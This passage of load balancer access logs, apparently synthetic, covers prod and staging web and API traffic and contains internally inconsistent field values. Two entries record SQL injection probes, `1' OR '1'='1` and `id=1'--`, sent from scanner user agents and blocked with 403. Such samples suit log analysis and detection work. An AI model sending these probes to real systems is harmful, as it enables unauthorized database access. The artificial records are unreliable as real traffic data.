arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7b0-3d65f797f53d4960ae19bc3c" "prod-web-alb.example.com" "-" 4 2024-11-01T02:17:04.052256Z "forward" "-" "-" "10.0.93.129:443" "200" "-" "-" -http 2024-11-01T02:17:04.311398Z staging-alb 53.108.99.135:15219 16.197.206.73:8080 0.074409 0.429248 0.084201 404 404 242 2432 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7b0-6c45e23d789c452c81cf9b85" "-" "-" 9 2024-11-01T02:17:04.311398Z "forward" "-" "-" "16.197.206.73:8080" "404" "-" "-" -https 2024-11-01T02:17:05.503666Z staging-alb 172.26.233.159:30791 4.96.182.255:80 0.094654 0.268129 0.092284 301 301 982 9218 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7b1-06bc0b04b4194f4dae2233cf" "staging-alb.example.com" "-" 1 2024-11-01T02:17:05.503666Z "forward" "-" "-" "4.96.182.255:80" "301" "-" "-" -https 2024-11-01T02:17:06.054441Z prod-web-alb 205.15.108.103:36264 10.0.123.212:443 0.053244 0.061012 0.080723 200 200 638 8148 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7b2-398850819c624c76b7302077" "prod-web-alb.example.com" "-" 8 2024-11-01T02:17:06.054441Z "forward" "-" "-" "10.0.123.212:443" "200" "-" "-" -http 2024-11-01T02:17:06.461492Z staging-alb 47.35.31.204:38523 146.139.45.93:80 0.024964 0.357661 0.144314 200 200 229 1341 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7b2-aa636f60bfa54cc990848896" "staging-alb.example.com" "-" 8 2024-11-01T02:17:06.461492Z "forward" "-" "-" "146.139.45.93:80" "200" "-" "-" -https 2024-11-01T02:17:07.342458Z prod-api-alb 233.38.163.202:52934 10.0.27.255:443 0.020072 0.120070 0.098041 200 200 159 4205 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7b3-c4be829b2dd74500a32ffa7b" "prod-api-alb.example.com" "-" 3 2024-11-01T02:17:07.342458Z "forward" "-" "-" "10.0.27.255:443" "200" "-" "-" -https 2024-11-01T02:17:09.301019Z prod-api-alb 56.184.230.19:12903 10.0.170.23:443 0.001408 0.202446 0.092802 200 200 114 1435 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7b5-6e650ccc09ff405dab632bed" "prod-api-alb.example.com" "-" 8 2024-11-01T02:17:09.301019Z "forward" "-" "-" "10.0.170.23:443" "200" "-" "-" -https 2024-11-01T02:17:10.712585Z staging-alb 15.162.126.41:26879 224.94.192.56:443 0.023105 0.648509 0.144190 200 200 170 8619 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7b6-5b27d220523e49b1b2aef0ed" "staging-alb.example.com" "-" 1 2024-11-01T02:17:10.712585Z "forward" "-" "-" "224.94.192.56:443" "200" "-" "-" -https 2024-11-01T02:17:11.018805Z prod-api-alb 249.183.195.130:11804 10.0.232.167:443 0.000793 0.163679 0.087626 200 200 431 14072 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7b7-4be5f12c91c94ce3acff6365" "prod-api-alb.example.com" "-" 5 2024-11-01T02:17:11.018805Z "forward" "-" "-" "10.0.232.167:443" "200" "-" "-" -https 2024-11-01T02:17:11.146083Z prod-web-alb 207.33.222.104:52473 10.0.20.244:443 0.047014 0.122694 0.043266 200 200 774 5183 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7b7-a12f54ef2b5541a89095dabb" "prod-web-alb.example.com" "-" 2 2024-11-01T02:17:11.146083Z "forward" "-" "-" "10.0.20.244:443" "200" "-" "-" -https 2024-11-01T02:17:13.118270Z prod-web-alb 36.162.95.63:63682 10.0.86.134:443 0.013465 0.496078 0.034920 302 302 261 4952 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7b9-2369e83f4b0f46e9baccbfbb" "prod-web-alb.example.com" "-" 10 2024-11-01T02:17:13.118270Z "forward" "-" "-" "10.0.86.134:443" "302" "-" "-" -https 2024-11-01T02:17:13.625050Z prod-web-alb 66.205.37.210:35524 10.0.40.183:443 0.000139 0.199011 0.099423 200 200 520 3029 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7b9-6c7ec9f5b1054306a4587a6a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:17:13.625050Z "forward" "-" "-" "10.0.40.183:443" "200" "-" "-" -https 2024-11-01T02:17:15.226929Z prod-web-alb 185.1.240.39:56659 10.0.222.141:443 0.003407 0.055190 0.020021 200 200 868 10924 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7bb-889844214f3c4c2ebf6fd8fc" "prod-web-alb.example.com" "-" 3 2024-11-01T02:17:15.226929Z "forward" "-" "-" "10.0.222.141:443" "200" "-" "-" -https 2024-11-01T02:17:15.754790Z prod-api-alb 74.108.156.29:20982 10.0.218.77:443 0.088038 0.457731 0.012263 200 200 31 337 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7bb-b22e4df9710b4e09843ed3fb" "prod-api-alb.example.com" "-" 0 2024-11-01T02:17:15.754790Z "forward" "-" "-" "10.0.218.77:443" "200" "-" "-" -https 2024-11-01T02:17:15.902811Z prod-api-alb 255.3.66.116:34342 10.0.189.61:443 0.056781 0.168476 0.064650 200 200 727 14197 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7bb-aa5663c98f444ce381fa2dd1" "prod-api-alb.example.com" "-" 3 2024-11-01T02:17:15.902811Z "forward" "-" "-" "10.0.189.61:443" "200" "-" "-" -https 2024-11-01T02:17:16.805394Z prod-web-alb 162.148.106.155:46378 10.0.244.205:443 0.067819 0.215582 0.007160 301 301 914 14136 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7bc-3aae70fa861e495d84ee21c4" "prod-web-alb.example.com" "-" 5 2024-11-01T02:17:16.805394Z "forward" "-" "-" "10.0.244.205:443" "301" "-" "-" -https 2024-11-01T02:17:18.151803Z prod-api-alb 190.122.106.179:20052 10.0.214.48:443 0.089547 0.022261 0.075879 200 200 44 13155 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7be-37229ecaed074d4dbd07bd60" "prod-api-alb.example.com" "-" 2 2024-11-01T02:17:18.151803Z "forward" "-" "-" "10.0.214.48:443" "200" "-" "-" -https 2024-11-01T02:17:19.533437Z prod-web-alb 213.118.253.104:28428 10.0.121.215:443 0.020861 0.264263 0.008584 301 301 378 14988 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7bf-aa1f8810d6394945929227d6" "prod-web-alb.example.com" "-" 9 2024-11-01T02:17:19.533437Z "forward" "-" "-" "10.0.121.215:443" "301" "-" "-" -https 2024-11-01T02:17:20.471367Z prod-web-alb 70.118.122.187:47437 10.0.28.225:443 0.051869 0.240848 0.079053 301 301 997 6299 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7c0-39c5f0f1fb4f45f99f327280" "prod-web-alb.example.com" "-" 0 2024-11-01T02:17:20.471367Z "forward" "-" "-" "10.0.28.225:443" "301" "-" "-" -http 2024-11-01T02:17:21.740362Z staging-alb 218.145.118.85:45285 174.192.253.211:443 0.141871 0.396338 0.024549 200 200 773 3502 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7c1-58b7638f3b0742db98214cfb" "-" "-" 5 2024-11-01T02:17:21.740362Z "forward" "-" "-" "174.192.253.211:443" "200" "-" "-" -https 2024-11-01T02:17:22.193314Z prod-api-alb 242.45.107.39:11231 10.0.29.16:443 0.012196 0.364923 0.041078 302 302 648 819 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7c2-2ab6b761368f4828b2d0bd3b" "-" "-" 4 2024-11-01T02:17:22.193314Z "forward" "-" "-" "10.0.29.16:443" "302" "-" "-" -https 2024-11-01T02:17:24.008805Z prod-api-alb 218.111.227.226:29488 10.0.162.215:443 0.000080 0.065679 0.014391 301 301 877 14370 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7c4-d4156ba46733459986ce8a13" "prod-api-alb.example.com" "-" 3 2024-11-01T02:17:24.008805Z "forward" "-" "-" "10.0.162.215:443" "301" "-" "-" -http 2024-11-01T02:17:25.346851Z staging-alb 117.206.237.136:41492 113.241.199.12:80 0.013209 0.015729 0.147997 301 301 788 7054 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c5-a7e8f4a192ed473789b77d0f" "staging-alb.example.com" "-" 2 2024-11-01T02:17:25.346851Z "forward" "-" "-" "113.241.199.12:80" "301" "-" "-" -http 2024-11-01T02:17:25.658466Z staging-alb 193.27.228.11:34600 25.13.79.141:443 0.018256 0.200072 0.091777 403 403 255 14313 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c5-66f530b87a8742debb42b50f" "-" "-" 10 2024-11-01T02:17:25.658466Z "forward" "-" "-" "25.13.79.141:443" "403" "-" "-" -http 2024-11-01T02:17:25.915328Z staging-alb 134.75.82.82:40200 78.69.169.238:8080 0.100291 0.242816 0.096070 301 301 41 10476 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c5-185ba730706b43f3b3b106fb" "staging-alb.example.com" "-" 4 2024-11-01T02:17:25.915328Z "forward" "-" "-" "78.69.169.238:8080" "301" "-" "-" -http 2024-11-01T02:17:27.387413Z staging-alb 70.73.201.171:20411 1.165.166.192:80 0.119154 0.347198 0.076994 200 200 815 7626 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c7-065087cc7dd84d9e803d88b6" "staging-alb.example.com" "-" 2 2024-11-01T02:17:27.387413Z "forward" "-" "-" "1.165.166.192:80" "200" "-" "-" -https 2024-11-01T02:17:28.782156Z staging-alb 245.244.82.98:51656 206.25.34.33:443 0.041526 0.297078 0.032322 404 404 632 8335 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c8-f3ef038f7379402a8138c892" "staging-alb.example.com" "-" 7 2024-11-01T02:17:28.782156Z "forward" "-" "-" "206.25.34.33:443" "404" "-" "-" -https 2024-11-01T02:17:30.560006Z prod-api-alb 63.20.54.2:29742 10.0.125.222:443 0.019494 0.193743 0.043053 200 200 448 12671 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7ca-f09e1c41d8d041f68afaf45b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:17:30.560006Z "forward" "-" "-" "10.0.125.222:443" "200" "-" "-" -https 2024-11-01T02:17:31.798749Z prod-web-alb 234.53.112.81:30042 10.0.104.23:443 0.052256 0.249116 0.028391 200 200 90 2286 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7cb-bc7ff4fa85f04de691e1df6c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:17:31.798749Z "forward" "-" "-" "10.0.104.23:443" "200" "-" "-" -http 2024-11-01T02:17:32.954894Z staging-alb 109.65.155.232:59515 71.228.65.152:8080 0.062540 0.289321 0.116266 200 200 415 925 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7cc-303fed70f30c4008955bf219" "-" "-" 3 2024-11-01T02:17:32.954894Z "forward" "-" "-" "71.228.65.152:8080" "200" "-" "-" -https 2024-11-01T02:17:33.809185Z prod-api-alb 14.208.17.17:41153 10.0.238.174:443 0.073167 0.151444 0.092289 200 200 564 6602 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7cd-ad20cf90ee224d498393268a" "prod-api-alb.example.com" "-" 4 2024-11-01T02:17:33.809185Z "forward" "-" "-" "10.0.238.174:443" "200" "-" "-" -https 2024-11-01T02:17:35.347882Z prod-api-alb 227.132.245.240:24376 10.0.211.14:443 0.009594 0.254786 0.055587 200 200 809 10069 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7cf-c38dd74e7cc548f2940baccf" "prod-api-alb.example.com" "-" 4 2024-11-01T02:17:35.347882Z "forward" "-" "-" "10.0.211.14:443" "200" "-" "-" -https 2024-11-01T02:17:37.095867Z prod-api-alb 209.74.200.64:32360 10.0.87.33:443 0.055368 0.170148 0.018691 302 302 991 13780 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7d1-161613e6ef314cdcab69a42d" "-" "-" 8 2024-11-01T02:17:37.095867Z "forward" "-" "-" "10.0.87.33:443" "302" "-" "-" -https 2024-11-01T02:17:38.366236Z prod-api-alb 190.51.227.93:58100 10.0.193.205:443 0.052994 0.310694 0.025209 302 302 374 11439 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7d2-b8e8af20d1104a5b9925ee30" "prod-api-alb.example.com" "-" 2 2024-11-01T02:17:38.366236Z "forward" "-" "-" "10.0.193.205:443" "302" "-" "-" -https 2024-11-01T02:17:40.022016Z prod-web-alb 248.237.149.235:20831 10.0.7.159:443 0.005880 0.379726 0.030759 200 200 116 7397 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7d4-254397aba2e7418eb0c9ed68" "prod-web-alb.example.com" "-" 1 2024-11-01T02:17:40.022016Z "forward" "-" "-" "10.0.7.159:443" "200" "-" "-" -https 2024-11-01T02:17:41.276006Z staging-alb 109.250.51.153:34751 82.239.21.91:8080 0.059059 0.721925 0.057016 200 200 26 5040 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7d5-928b101f8a0445ef9153b4cd" "staging-alb.example.com" "-" 6 2024-11-01T02:17:41.276006Z "forward" "-" "-" "82.239.21.91:8080" "200" "-" "-" -https 2024-11-01T02:17:42.585841Z prod-web-alb 75.193.31.219:46807 10.0.203.104:443 0.037403 0.112669 0.071479 200 200 943 13022 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7d6-95b94639579c454081c85bff" "prod-web-alb.example.com" "-" 2 2024-11-01T02:17:42.585841Z "forward" "-" "-" "10.0.203.104:443" "200" "-" "-" -https 2024-11-01T02:17:43.891981Z prod-api-alb 112.50.249.36:53418 10.0.29.116:443 0.060500 0.289913 0.019312 200 200 672 3252 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7d7-2cb3bbcaa3c44b5cbf09e9ee" "prod-api-alb.example.com" "-" 5 2024-11-01T02:17:43.891981Z "forward" "-" "-" "10.0.29.116:443" "200" "-" "-" -https 2024-11-01T02:17:44.520591Z prod-api-alb 218.173.213.45:47849 10.0.174.86:443 0.026429 0.390913 0.059430 404 404 311 6793 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7d8-1a5e6f6467b34714818e2649" "prod-api-alb.example.com" "-" 1 2024-11-01T02:17:44.520591Z "forward" "-" "-" "10.0.174.86:443" "404" "-" "-" -https 2024-11-01T02:17:44.741214Z prod-api-alb 66.142.68.41:50588 10.0.123.171:443 0.053259 0.329102 0.068756 200 200 936 1069 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7d8-bab28abcd24a4b38bae4b339" "prod-api-alb.example.com" "-" 8 2024-11-01T02:17:44.741214Z "forward" "-" "-" "10.0.123.171:443" "200" "-" "-" -https 2024-11-01T02:17:45.998760Z prod-web-alb 200.126.9.159:61239 10.0.189.233:443 0.033294 0.032962 0.059903 200 200 819 3141 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7d9-56fdeda12d934ad895e366a7" "prod-web-alb.example.com" "-" 9 2024-11-01T02:17:45.998760Z "forward" "-" "-" "10.0.189.233:443" "200" "-" "-" -https 2024-11-01T02:17:47.201211Z prod-web-alb 32.71.117.236:32724 10.0.40.134:443 0.052307 0.224696 0.076830 200 200 199 12981 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7db-aeccd6f91199480fbac7cc3b" "prod-web-alb.example.com" "-" 9 2024-11-01T02:17:47.201211Z "forward" "-" "-" "10.0.40.134:443" "200" "-" "-" -https 2024-11-01T02:17:49.138355Z staging-alb 7.30.59.153:54332 2.239.68.14:80 0.138662 0.427408 0.119199 302 302 508 4229 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7dd-83747881da614f7098602285" "staging-alb.example.com" "-" 4 2024-11-01T02:17:49.138355Z "forward" "-" "-" "2.239.68.14:80" "302" "-" "-" -https 2024-11-01T02:17:50.705344Z prod-web-alb 193.27.228.135:47963 10.0.228.126:443 0.022638 0.133393 0.057112 403 403 770 5011 "GET /login?id=1'-- HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7de-c26b1ead09284f4cba805d06" "-" "-" 8 2024-11-01T02:17:50.705344Z "forward" "-" "-" "10.0.228.126:443" "403" "-" "-" -https 2024-11-01T02:17:51.048456Z prod-web-alb 252.242.53.11:29184 10.0.70.61:443 0.038695 0.173794 0.003008 302 302 632 1691 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7df-b4c9af1aa67e426c9fe720b9" "prod-web-alb.example.com" "-" 9 2024-11-01T02:17:51.048456Z "forward" "-" "-" "10.0.70.61:443" "302" "-" "-" -http 2024-11-01T02:17:51.623818Z staging-alb 111.67.237.164:60404 216.175.125.93:80 0.070078 0.007290 0.108793 200 200 597 12906 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7df-c49408df10a14eacb77c6fa0" "staging-alb.example.com" "-" 1 2024-11-01T02:17:51.623818Z "forward" "-" "-" "216.175.125.93:80" "200" "-" "-" -https 2024-11-01T02:17:53.295722Z prod-web-alb 170.172.177.225:45226 10.0.88.176:443 0.078270 0.192645 0.013232 200 200 313 13229 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7e1-adfd23069b6d49c28c538d8e" "prod-web-alb.example.com" "-" 4 2024-11-01T02:17:53.295722Z "forward" "-" "-" "10.0.88.176:443" "200" "-" "-" -https 2024-11-01T02:17:54.982329Z prod-web-alb 20.102.144.134:33891 10.0.126.136:443 0.090180 0.080505 0.030755 301 301 952 1899 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7e2-d12c27c9cfb14c9e9953c680" "prod-web-alb.example.com" "-" 